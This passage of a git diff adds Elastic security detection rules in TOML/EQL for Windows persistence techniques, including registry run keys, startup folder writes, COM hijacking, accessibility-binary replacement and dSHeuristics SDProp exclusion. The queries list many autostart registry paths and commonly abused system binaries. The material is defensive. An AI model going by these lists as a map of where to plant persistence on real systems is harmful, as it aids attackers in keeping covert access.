user.name == "SYSTEM" and + process.args : + ( + "C:\\Windows\\System32\\osk.exe", + "C:\\Windows\\System32\\Magnify.exe", + "C:\\Windows\\System32\\Narrator.exe", + "C:\\Windows\\System32\\Sethc.exe", + "utilman.exe", + "ATBroker.exe", + "DisplaySwitch.exe", + "sethc.exe" + ) + and not process.pe.original_file_name in + ( + "osk.exe", + "sethc.exe", + "utilman2.exe", + "DisplaySwitch.exe", + "ATBroker.exe", + "ScreenMagnifier.exe", + "SR.exe", + "Narrator.exe", + "magnify.exe", + "MAGNIFY.EXE" + ) + +/* uncomment once in winlogbeat to avoid bypass with rogue process with matching pe original file name */ +/* and process.code_signature.subject_name == "Microsoft Windows" and process.code_signature.status == "trusted" */ +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.008" +name = "Accessibility Features" +reference = "https://attack.mitre.org/techniques/T1546/008/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.008" +name = "Accessibility Features" +reference = "https://attack.mitre.org/techniques/T1546/008/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/persistence_registry_uncommon.toml b/rules/windows/persistence_registry_uncommon.toml new file mode 100644 index 000000000..9526b40b4 --- /dev/null +++ b/rules/windows/persistence_registry_uncommon.toml @@ -0,0 +1,118 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects changes to registry persistence keys that are not commonly used or modified by legitimate programs. This could be +an indication of an adversary's attempt to persist in a stealthy manner. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Uncommon Registry Persistence Change" +references = ["https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2"] +risk_score = 47 +rule_id = "54902e45-3467-49a4-8abc-529f2c8cfb80" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + /* uncomment once stable length(registry.data.strings) > 0 and */ + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent", + "HKLM\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync", + "HKLM\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync", + "HKLM\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKLM\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKLM\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls", + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName", + "HKLM\\SYSTEM\\ControlSet*\\Control\\SafeBoot\\AlternateShell", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\BootExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\SetupExecute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\Execute", + "HKLM\\SYSTEM\\ControlSet*\\Control\\Session Manager\\S0InitialCommand", + "HKLM\\SYSTEM\\ControlSet*\\Control\\ServiceControlManagerExtension", + "HKLM\\SYSTEM\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath", + "HKLM\\SYSTEM\\Setup\\CmdLine", + "HKEY_USERS\\*\\Environment\\UserInitMprLogonScript") and + + not registry.data.strings : ("C:\\Windows\\system32\\userinit.exe", "cmd.exe", "C:\\Program Files (x86)\\*.exe", + "C:\\Program Files\\*.exe") and + not (process.name : "rundll32.exe" and registry.path : "*\\Software\\Microsoft\\Internet Explorer\\Extensions\\*\\Script") and + not process.executable : ("C:\\Windows\\System32\\msiexec.exe", + "C:\\Windows\\SysWOW64\\msiexec.exe", + "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "C:\\Program Files\\*.exe", + "C:\\Program Files (x86)\\*.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" + + [[rule.threat.technique.subtechnique]] + id = "T1547.001" + name = "Registry Run Keys / Startup Folder" + reference = "https://attack.mitre.org/techniques/T1547/001/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1112" +name = "Modify Registry" +reference = "https://attack.mitre.org/techniques/T1112/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/persistence_remote_password_reset.toml b/rules/windows/persistence_remote_password_reset.toml new file mode 100644 index 000000000..10da4f41e --- /dev/null +++ b/rules/windows/persistence_remote_password_reset.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/10/18" +maturity = "production" +updated_date = "2022/01/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies an attempt to reset an account password remotely. Adversaries may manipulate account passwords to maintain +access or evade password duration policies and preserve compromised credentials. +""" +false_positives = ["Legitimate remote account administration."] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Account Password Reset Remotely" +references = [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4724", + "https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Credential%20Access/remote_pwd_reset_rpc_mimikatz_postzerologon_target_DC.evtx", +] +risk_score = 47 +rule_id = "2820c9c2-bcd7-4d6e-9eba-faf3891ba450" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +sequence by host.id with maxspan=5m + [authentication where event.action == "logged-in" and + /* event 4624 need to be logged */ + winlog.logon.type : "Network" and event.outcome == "success" and source.ip != null and + source.ip != "127.0.0.1" and source.ip != "::1"] by winlog.event_data.TargetLogonId + /* event 4724 need to be logged */ + [iam where event.action == "reset-password"] by winlog.event_data.SubjectLogonId +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_run_key_and_startup_broad.toml b/rules/windows/persistence_run_key_and_startup_broad.toml new file mode 100644 index 000000000..d48ab7947 --- /dev/null +++ b/rules/windows/persistence_run_key_and_startup_broad.toml @@ -0,0 +1,69 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/14" + + +[rule] +author = ["Elastic"] +description = """ +Identifies run key or startup key registry modifications. In order to survive reboots and other system interrupts, +attackers will modify run keys within the registry or leverage startup folder items as a form of persistence. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Startup or Run Key Registry Modification" +risk_score = 21 +rule_id = "97fc44d3-8dae-4019-ae83-298c3015600f" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.data.strings != null and + registry.path : ( + /* Machine Hive */ + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + /* Users Hive */ + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*" + ) and + /* add common legitimate changes without being too restrictive as this is one of the most abused AESPs */ + not registry.data.strings : "ctfmon.exe /n" and + not (registry.value : "Application Restart #*" and process.name : "csrss.exe") and + user.id not in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + not registry.data.strings : ("?:\\Program Files\\*.exe", "?:\\Program Files (x86)\\*.exe") and + not process.executable : ("?:\\Windows\\System32\\msiexec.exe", "?:\\Windows\\SysWOW64\\msiexec.exe") and + not (process.name : "OneDriveSetup.exe" and + registry.value : ("Delete Cached Standalone Update Binary", "Delete Cached Update Binary", "amd64", "Uninstall *") and + registry.data.strings : "?:\\Windows\\system32\\cmd.exe /q /c * \"?:\\Users\\*\\AppData\\Local\\Microsoft\\OneDrive\\*\"") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/windows/persistence_runtime_run_key_startup_susp_procs.toml b/rules/windows/persistence_runtime_run_key_startup_susp_procs.toml new file mode 100644 index 000000000..69a428737 --- /dev/null +++ b/rules/windows/persistence_runtime_run_key_startup_susp_procs.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies execution of suspicious persistent programs (scripts, rundll32, etc.) by looking at process lineage and +command line usage. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Execution of Persistent Suspicious Program" +risk_score = 47 +rule_id = "e7125cea-9fe1-42a5-9a05-b0792cf86f5a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +/* userinit followed by explorer followed by early child process of explorer (unlikely to be launched interactively) within 1m */ +sequence by host.id, user.name with maxspan=1m + [process where event.type in ("start", "process_started") and process.name : "userinit.exe" and process.parent.name : "winlogon.exe"] + [process where event.type in ("start", "process_started") and process.name : "explorer.exe"] + [process where event.type in ("start", "process_started") and process.parent.name : "explorer.exe" and + /* add suspicious programs here */ + process.pe.original_file_name in ("cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "RegAsm.exe", + "MSBuild.exe", + "InstallUtil.exe") and + /* add potential suspicious paths here */ + process.args : ("C:\\Users\\*", "C:\\ProgramData\\*", "C:\\Windows\\Temp\\*", "C:\\Windows\\Tasks\\*", "C:\\PerfLogs\\*", "C:\\Intel\\*") + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_sdprop_exclusion_dsheuristics.toml b/rules/windows/persistence_sdprop_exclusion_dsheuristics.toml new file mode 100644 index 000000000..182c352e9 --- /dev/null +++ b/rules/windows/persistence_sdprop_exclusion_dsheuristics.toml @@ -0,0 +1,108 @@ +[metadata] +creation_date = "2022/02/24" +maturity = "production" +updated_date = "2022/02/24" + +[rule] +author = ["Elastic"] +description = """ +Identifies a modification on the dsHeuristics attribute on the bit that holds the configuration of groups excluded from +the SDProp process. The SDProp compares the permissions on protected objects with those defined on the AdminSDHolder +object. If the permissions on any of the protected accounts and groups do not match, the permissions on the protected +accounts and groups are reset to match those of the domain's AdminSDHolder object, meaning that groups excluded will +remain unchanged. Attackers can abuse this misconfiguration to maintain long-term access to privileged accounts in these +groups. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "eql" +license = "Elastic License v2" +name = "AdminSDHolder SDProp Exclusion Added" +note = """## Triage and analysis. + +### Investigating AdminSDHolder SDProp Exclusion Added + +The SDProp process compares the permissions on protected objects with those defined on the AdminSDHolder object. If the +permissions on any of the protected accounts and groups do not match, it resets the permissions on the protected +accounts and groups to match those defined in the domain AdminSDHolder object. + +The dSHeuristics is a Unicode string attribute, in which each character in the string represents a heuristic that is +used to determine the behavior of Active Directory. + +Administrators can use the dSHeuristics attribute to exclude privilege groups from the SDProp process by setting the +16th bit (dwAdminSDExMask) of the string to a certain value, which represents the group(s): + +* For example, to exclude the Account Operators group, an administrator would modify the string, so the 16th character +is set to 1 (i.e., 0000000001000001). + +The usage of this exclusion can leave the accounts unprotected and facilitate the misconfigurations of privilege on the +excluded groups, leaving a gap for attackers to add accounts to these groups to maintain long-term persistence with high +privileges. + +This rule will monitor changes on the dsHeuristics object where the 16th bit is set to a value other than zero. + +#### Possible investigation steps: + +- Identify the account that performed the action +- Confirm whether the account owner is aware of the operation +- Investigate other alerts related to the user in the last 48 hours. +- Check the value assigned to the 16th bit of the string on the `winlog.event_data.AttributeValue` field: + - Account Operators eq 1 + - Server Operators eq 2 + - Print Operators eq 4 + - Backup Operators eq 8 + The field value can range from 0 to f (15). If more than one group is specified, the values will be summed together; + for example, Backup Operators and Print Operators will set the `c` value on the bit. + +### False Positive Analysis + +- While this modification can be done legitimately, it is not best practice. Any potential B-TP (Benign True Positive) +should be mapped and reviewed by the security team for alternatives as this weakens the security of the privileged group. + +### Response and Remediation + +- The change can be reverted by setting the dwAdminSDExMask (16th bit) to 0 in dSHeuristics. + +## Config + +The 'Audit Directory Service Changes' logging policy must be configured for (Success). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success) +``` +""" +references = [ + "https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dsheuristics_bad", + "https://petri.com/active-directory-security-understanding-adminsdholder-object", +] +risk_score = 73 +rule_id = "61d29caf-6c15-4d1e-9ccb-7ad12ccc0bc7" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Active Directory"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +any where event.action == "Directory Service Changes" and + event.code == "5136" and + length(winlog.event_data.AttributeValue) > 15 and + winlog.event_data.AttributeValue regex~ "[0-9]{15}([1-9a-f]).*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_services_registry.toml b/rules/windows/persistence_services_registry.toml new file mode 100644 index 000000000..06ecd712b --- /dev/null +++ b/rules/windows/persistence_services_registry.toml @@ -0,0 +1,60 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies processes modifying the services registry key directly, instead of through the expected Windows APIs. This +could be an indication of an adversary attempting to stealthily persist through abnormal service creation or +modification of an existing service. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Persistence via Services Registry" +risk_score = 21 +rule_id = "403ef0d3-8259-40c9-a5b6-d48354712e49" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.path : ("HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ServiceDLL", "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath") and + not registry.data.strings : ("?:\\windows\\system32\\Drivers\\*.sys", + "\\SystemRoot\\System32\\drivers\\*.sys", + "\\??\\?:\\Windows\\system32\\Drivers\\*.SYS", + "system32\\DRIVERS\\USBSTOR") and + not (process.name : "procexp??.exe" and registry.data.strings : "?:\\*\\procexp*.sys") and + not process.executable : ("?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\winsxs\\*\\TiWorker.exe", + "?:\\Windows\\System32\\drvinst.exe", + "?:\\Windows\\System32\\services.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\regsvr32.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.003" +name = "Windows Service" +reference = "https://attack.mitre.org/techniques/T1543/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_startup_folder_file_written_by_suspicious_process.toml b/rules/windows/persistence_startup_folder_file_written_by_suspicious_process.toml new file mode 100644 index 000000000..41f55226b --- /dev/null +++ b/rules/windows/persistence_startup_folder_file_written_by_suspicious_process.toml @@ -0,0 +1,67 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies files written to or modified in the startup folder by commonly abused processes. Adversaries may use this +technique to maintain persistence. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Shortcut File Written or Modified for Persistence" +risk_score = 47 +rule_id = "440e2db4-bc7f-4c96-a068-65b78da59bde" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and + user.domain != "NT AUTHORITY" and + file.path : ("C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") and + process.name : ("cmd.exe", + "powershell.exe", + "wmic.exe", + "mshta.exe", + "pwsh.exe", + "cscript.exe", + "wscript.exe", + "regsvr32.exe", + "RegAsm.exe", + "rundll32.exe", + "EQNEDT32.EXE", + "WINWORD.EXE", + "EXCEL.EXE", + "POWERPNT.EXE", + "MSPUB.EXE", + "MSACCESS.EXE", + "iexplore.exe", + "InstallUtil.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_startup_folder_file_written_by_unsigned_process.toml b/rules/windows/persistence_startup_folder_file_written_by_unsigned_process.toml new file mode 100644 index 000000000..d416512f2 --- /dev/null +++ b/rules/windows/persistence_startup_folder_file_written_by_unsigned_process.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/11/29" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies files written or modified in the startup folder by unsigned processes. Adversaries may abuse this technique +to maintain persistence in an environment. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Startup Folder Persistence via Unsigned Process" +risk_score = 41 +rule_id = "2fba96c0-ade5-4bce-b92f-a5df2509da3f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +type = "eql" + +query = ''' +sequence by host.id, process.entity_id with maxspan=5s + [process where event.type in ("start", "process_started") and process.code_signature.trusted == false and + /* suspicious paths can be added here */ + process.executable : ("C:\\Users\\*.exe", + "C:\\ProgramData\\*.exe", + "C:\\Windows\\Temp\\*.exe", + "C:\\Windows\\Tasks\\*.exe", + "C:\\Intel\\*.exe", + "C:\\PerfLogs\\*.exe") + ] + [file where event.type != "deletion" and user.domain != "NT AUTHORITY" and + file.path : ("C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_startup_folder_scripts.toml b/rules/windows/persistence_startup_folder_scripts.toml new file mode 100644 index 000000000..79788e9a0 --- /dev/null +++ b/rules/windows/persistence_startup_folder_scripts.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies script engines creating files in the startup folder, or the creation of script files in the startup folder." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistent Scripts in the Startup Directory" +risk_score = 47 +rule_id = "f7c4dc5a-a58d-491d-9f14-9b66507121c0" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and user.domain != "NT AUTHORITY" and + + /* detect shortcuts created by wscript.exe or cscript.exe */ + (file.path : "C:\\*\\Programs\\Startup\\*.lnk" and + process.name : ("wscript.exe", "cscript.exe")) or + + /* detect vbs or js files created by any process */ + file.path : ("C:\\*\\Programs\\Startup\\*.vbs", + "C:\\*\\Programs\\Startup\\*.vbe", + "C:\\*\\Programs\\Startup\\*.wsh", + "C:\\*\\Programs\\Startup\\*.wsf", + "C:\\*\\Programs\\Startup\\*.js") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_suspicious_com_hijack_registry.toml b/rules/windows/persistence_suspicious_com_hijack_registry.toml new file mode 100644 index 000000000..016207519 --- /dev/null +++ b/rules/windows/persistence_suspicious_com_hijack_registry.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies Component Object Model (COM) hijacking via registry modification. Adversaries may establish persistence by +executing malicious content triggered by hijacked references to COM objects. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Component Object Model Hijacking" +references = [ + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", +] +risk_score = 47 +rule_id = "16a52c14-7883-47af-8745-9357803f0d4c" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + /* uncomment once length is stable length(bytes_written_string) > 0 and */ + (registry.path : "HK*}\\InprocServer32\\" and registry.data.strings: ("scrobj.dll", "C:\\*\\scrobj.dll") and + not registry.path : "*\\{06290BD*-48AA-11D2-8432-006008C3FBFC}\\*") + or + /* in general COM Registry changes on Users Hive is less noisy and worth alerting */ + (registry.path : ("HKEY_USERS\\*Classes\\*\\InprocServer32\\", + "HKEY_USERS\\*Classes\\*\\LocalServer32\\", + "HKEY_USERS\\*Classes\\*\\DelegateExecute\\", + "HKEY_USERS\\*Classes\\*\\TreatAs\\", + "HKEY_USERS\\*Classes\\CLSID\\*\\ScriptletURL\\") and + not (process.executable : "?:\\Program Files*\\Veeam\\Backup and Replication\\Console\\veeam.backup.shell.exe" and + registry.path : "HKEY_USERS\\S-1-5-21-*_Classes\\CLSID\\*\\LocalServer32\\") and + /* not necessary but good for filtering privileged installations */ + user.domain != "NT AUTHORITY") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" +[[rule.threat.technique.subtechnique]] +id = "T1546.015" +name = "Component Object Model Hijacking" +reference = "https://attack.mitre.org/techniques/T1546/015/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git 